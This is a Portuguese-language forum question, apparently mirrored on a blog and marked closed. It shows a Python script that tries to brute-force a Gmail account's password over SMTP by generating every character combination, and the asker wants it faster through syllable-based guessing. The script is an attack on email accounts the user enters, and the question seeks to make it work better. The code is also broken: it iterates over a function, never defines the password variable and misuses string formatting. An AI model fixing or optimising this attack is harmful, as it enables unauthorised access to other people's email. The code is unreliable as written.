vendredi 17 septembre 2021

brute-force sem wordlist, gerador de senha com padroes [closed]

olá, minha primeira pergunta aqui kkk

estou fazendo um bruteforce sem wordlist, ele esta funcionando, mas leva muito tempo, pois as senhas que ele gera são sem padrões(ex: aaaaab, aaaaaac, assim ate encontrar a senha) queria saber se tem como colocar ele para combinar as letras por silabas, ou qualquer outra ideia que me ajude a diminuir o tempo do bruteforce, mas sem perder a eficácia

segue o codigo:

import itertools 
import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = input("Entre com o email: ")
min_digitos = (int(input("Entre a quantidade de caracteres minimos: ")))
qnt_digitos = (int(input("Entre com a quantidade de caracteres maximos: ")))
def print_perms(chars, minlen, maxlen): 
    for n in range(minlen, maxlen+1): 
        for perm in itertools.product(chars, repeat=n): 
            print(''.join(perm)) 

print_perms("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@", min_digitos, qnt_digitos)

for symbols in print_perms:
    try:
        smtpserver.login(user, password)

        print ("[+] Senha encontrada: %s") % symbols
        break;
    except smtplib.SMTPAuthenticationError:
        print ("[!] Senha tem mais do que "  + qnt_digitos + ": %s") % symbols



Aucun commentaire:

Enregistrer un commentaire